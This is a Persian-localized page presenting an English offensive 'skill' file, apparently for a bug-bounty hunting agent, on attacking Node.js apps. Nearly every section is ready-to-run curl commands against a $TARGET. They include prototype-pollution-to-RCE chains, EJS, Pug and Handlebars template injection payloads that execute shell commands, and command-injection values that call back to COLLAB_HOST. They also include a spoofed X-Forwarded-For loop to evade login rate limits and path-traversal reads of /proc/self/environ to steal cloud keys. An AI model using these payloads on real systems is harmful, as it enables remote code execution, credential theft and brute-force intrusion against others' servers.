hunt-nodejs

skillupstreamکلاس آسیب‌پذیریگزارش: ۲۴۸ کیلوبایت۱۲ بخش

شکار آسیب‌پذیری‌های اختصاصی Node.js — زنجیره‌های Prototype Pollution ← RCE ‏(lodash/merge/assign)، پیکربندی‌غلط trust proxy در Express، تزریق child_process/eval، SSTI در موتور template ‏(EJS/Pug/Handlebars)، path traversal در فایل‌سرورها، تزریق `require()` و نشت متغیر محیطی.

توضیح انگلیسی اصلی (مرجع)

Hunt Node.js specific vulnerabilities — Prototype Pollution → RCE chains (lodash/merge/assign), Express trust proxy misconfiguration, child_process/eval injection, template engine SSTI (EJS/Pug/Handlebars), path traversal in file servers, require() injection, environment variable exfil via /proc/self/environ. Use when target runs Node.js/Express/Fastify/NestJS/Koa.

نقشه‌ی ساختار اسکیل

hunt-nodejsکلاس آسیب‌پذیری · ۱۲ بخش۱نمای کلی و کاربرد۲اهداف ارزشمند۳سطح حمله و سیگنال‌ها۴سطح حمله و سیگنال‌ها۵Payload و الگوهای تشخیص۶زنجیره‌ها و ترکیب‌ها۷بخش تکمیلی۸بخش تکمیلی۹بخش تکمیلی۱۰بخش تکمیلی۱۱زنجیره‌ها و ترکیب‌ها۱۲دروازه‌ی اعتبارسنجی
نمای کلی و کاربرد · ۵اهداف ارزشمند · ۱سطح حمله و سیگنال‌ها · ۲Payload و الگوهای تشخیص · ۳دروازه‌ی اعتبارسنجی · ۱

روی هر گره کلیک کنید تا به بخش مربوطه بروید؛ دکمه‌ی «سورس MD» در هدر هر بخش، متن اصلی را با شماره‌ی خط می‌آورد.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

نمای کلی و کاربرد

Introduction
ترجمه‌ی کامل ✓بخش ۱ از ۱۲

توضیح کلی، دامنه‌ی پوشش و زمان به‌کارگیری اسکیل

# HUNT-NODEJS — آسیب‌پذیری‌های اختصاصی Node.js

۲

اهداف ارزشمند

Crown Jewel Targets
ترجمه‌ی کامل ✓بخش ۲ از ۱۲

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

‏Prototype Pollution که به sink در بک‌اند Node.js برسد = RCE با شدت Critical.

‏زنجیره‌های باارزش‌ترین:

  • ‏‏Prototype Pollution ← RCE — تزریق __proto__ از طریق lodash.merge / Object.assign ← prototype آلوده‌شده به sink مربوط به child_process.exec یا vm.runInNewContext می‌رسد
  • ‏‏trust proxy در Express — app.set('trust proxy', true) بدون اعتبارسنجی ← مهاجم X-Forwarded-For را برای دورزدن allowlist یا rate limit مبتنی‌بر IP ست می‌کند
  • ‏‏SSTI در EJS/Pug — موتور template ورودی کاربر را می‌گیرد ← {{= process.mainModule.require('child_process').execSync('id') }}
  • ‏تزریق child_process — ورودی کاربر داخل رشته‌ی دستور shell درون‌گذاری می‌شود ← تزریق دستور سیستم‌عامل
  • ‏‏path traversal در require() — مسیر ماژول کنترل‌شده‌ی مهاجم ← لود فایل دلخواه به‌عنوان JS
۳

سطح حمله و سیگنال‌ها

Attack Surface Signals
ترجمه‌ی کامل ✓بخش ۳ از ۱۲

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

X-Powered-By: Express           Confirms Express.js
Node.js in error messages        Runtime detected
package.json exposed             Dependency list + versions
/proc/self/environ accessible    Environment variable exfil
Error stack traces with .js paths  Node.js confirmed
__proto__ in JSON accepted        Prototype pollution candidate
۴

سطح حمله و سیگنال‌ها

Phase 1 — Fingerprint
ترجمه‌ی کامل ✓بخش ۴ از ۱۲

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

# Confirm Node.js/Express
curl -sI https://$TARGET/ | grep -i "x-powered-by\|nodejs\|express"

# Check for package.json / node_modules exposure
curl -s "https://$TARGET/package.json"
curl -s "https://$TARGET/package-lock.json"
curl -s "https://$TARGET/node_modules/.package-lock.json"

# Error-based version detection
curl -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node\|express\|cannot GET"
۵

Payload و الگوهای تشخیص

Phase 2 — Prototype Pollution Detection
ترجمه‌ی کامل ✓بخش ۵ از ۱۲

دستورها، payloadها و الگوهای قابل‌اجرا برای تست تکنیک

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

# JSON body injection — test if __proto__ is accepted
curl -s -X POST https://$TARGET/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": "yes"}}'

# Constructor prototype
curl -s -X POST https://$TARGET/api/settings \
  -H "Content-Type: application/json" \
  -d '{"constructor": {"prototype": {"isAdmin": true}}}'

# URL query param injection (qs library)
curl -s "https://$TARGET/api/search?__proto__[polluted]=yes&query=test"
curl -s "https://$TARGET/api/data?constructor[prototype][admin]=1"

# Confirm pollution: does a subsequent request reflect the polluted key?
curl -s "https://$TARGET/api/me" | grep -i "polluted\|isAdmin\|admin"
۶

زنجیره‌ها و ترکیب‌ها

Phase 3 — Prototype Pollution → RCE Chain
ترجمه‌ی کامل ✓بخش ۶ از ۱۲

زنجیره‌های attack که این primitive را به impact بالاتر می‌رسانند

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

# If pollution is confirmed, attempt to reach dangerous sinks

# Sink 1: child_process via options.shell pollution
curl -s -X POST https://$TARGET/api/update \
  -H "Content-Type: application/json" \
  -d '{
    "__proto__": {
      "shell": "node",
      "NODE_OPTIONS": "--require /proc/self/fd/0",
      "env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"}
    }
  }'

# Sink 2: lodash template pollution (CVE-2021-23337)
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"sourceURL": "\nreturn process.mainModule.require(\"child_process\").execSync(\"id\").toString()//"}}'

# Sink 3: ejs template options pollution
# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`
curl -s -X POST https://$TARGET/api/template \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl COLLAB_HOST/pp-rce\");x"}}'

# OOB confirmation — check Interactsh for callback
۷

بخش تکمیلی

Phase 4 — Express Trust Proxy Abuse
ترجمه‌ی کامل ✓بخش ۷ از ۱۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

# If Express has trust proxy enabled, X-Forwarded-For is trusted
# Test: does spoofed IP bypass IP-based rate limiting or allowlist?

# Spoof IP to 127.0.0.1 (localhost bypass)
curl -s -X POST https://$TARGET/api/admin/action \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "Content-Type: application/json" \
  -d '{"action": "test"}'

# Spoof to internal IP range
curl -s -X POST https://$TARGET/api/internal \
  -H "X-Forwarded-For: 10.0.0.1" \
  -H "X-Real-IP: 10.0.0.1"

# Rate limit bypass via rotating fake IPs
for i in $(seq 1 50); do
  curl -s https://$TARGET/api/login \
    -H "X-Forwarded-For: 1.2.3.$i" \
    -d '{"email":"admin@test.com","password":"wrong"}' \
    -o /dev/null -w "$i: %{http_code}\n"
done
۸

بخش تکمیلی

Phase 5 — Template Engine SSTI (EJS / Pug / Handlebars)
ترجمه‌ی کامل ✓بخش ۸ از ۱۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

# EJS SSTI — if user input reaches EJS template context
# Test basic: <%= 7*7 %> should return 49
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "<%= 7*7 %>"}'

# EJS RCE payload
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "<%= process.mainModule.require(\"child_process\").execSync(\"id\").toString() %>"}'

# Pug SSTI
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "- var x = root.process\n= x.mainModule.require(\"child_process\").execSync(\"id\")"}'

# Handlebars — prototype pollution via template
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return process.mainModule.require(childprocess).execSync(id)\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}'
۹

بخش تکمیلی

Phase 6 — child_process Command Injection
ترجمه‌ی کامل ✓بخش ۹ از ۱۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

# Look for endpoints that run shell commands with user input
# Signals: /api/convert, /api/exec, /api/ping, /api/scan

# Basic injection test
curl -s "https://$TARGET/api/ping?host=127.0.0.1;id"
curl -s "https://$TARGET/api/convert?file=test.pdf;curl+COLLAB_HOST/ci"
curl -s -X POST https://$TARGET/api/exec \
  -H "Content-Type: application/json" \
  -d '{"command": "ls", "args": ["&&", "curl", "COLLAB_HOST/ci"]}'

# OOB via DNS
curl -s "https://$TARGET/api/dns?host=\$(curl+COLLAB_HOST/dns-ci).example.com"
۱۰

بخش تکمیلی

Phase 7 — /proc/self/environ Exfil
ترجمه‌ی کامل ✓بخش ۱۰ از ۱۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

# If LFI exists on Node.js app, /proc/self/environ leaks env vars
curl -s "https://$TARGET/api/file?path=/proc/self/environ"
curl -s "https://$TARGET/api/read?file=../../../../proc/self/environ"

# Also check:
curl -s "https://$TARGET/api/file?path=/proc/self/cmdline"  # full command line
curl -s "https://$TARGET/api/file?path=/proc/self/cwd"       # working directory
۱۱

زنجیره‌ها و ترکیب‌ها

Chain Table
ترجمه‌ی کامل ✓بخش ۱۱ از ۱۲

زنجیره‌های attack که این primitive را به impact بالاتر می‌رسانند

یافته‌ی Node.jsزنجیره بهتأثیر
Prototype pollution تأییدشدهپیدا کردن sink مربوط به RCE ‏(child_process، eval)RCE با شدت Critical
trust proxy در Expressدورزدن allowlist مربوط به IP / rate limitدورزدن auth / دورزدن DoS
SSTI در موتور templateاجرای دستور سیستم‌عاملRCE با شدت Critical
تزریق child_processid && curl COLLAB_HOSTRCE با شدت Critical
/proc/self/environ از طریق LFIلو رفتن AWS_ACCESS_KEY_IDcompromise مربوط به cloud
۱۲

دروازه‌ی اعتبارسنجی

Validation
ترجمه‌ی کامل ✓بخش ۱۲ از ۱۲

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

✅ ‏Prototype pollution: کلید در پاسخ‌های API بعدی بدون فرستاده‌شدن ظاهر می‌شود

✅ زنجیره‌ی RCE: callback مربوط به OOB دریافت شد یا خروجی id در پاسخ

✅ ‏trust proxy: IP جعل‌شده پذیرفته شد، rate limit یا allowlist را دور زد

‏شدت:

  • ‏‏Prototype pollution ← RCE: Critical
  • ‏‏SSTI ← RCE: Critical
  • ‏تزریق child_process: Critical
  • ‏‏trust proxy ← دورزدن rate limit: Medium
  • ‏‏exfil مربوط به /proc/self/environ: High ‏(اگر کلیدهای cloud حاضر باشند)
مراحل استخراج‌شده
  1. ۱‏‏Prototype pollution ← RCE: Critical
  2. ۲‏‏SSTI ← RCE: Critical
  3. ۳‏تزریق child_process: Critical
  4. ۴‏‏trust proxy ← دورزدن rate limit: Medium
  5. ۵‏‏exfil مربوط به `/proc/self/environ`: High ‏(اگر کلیدهای cloud حاضر باشند)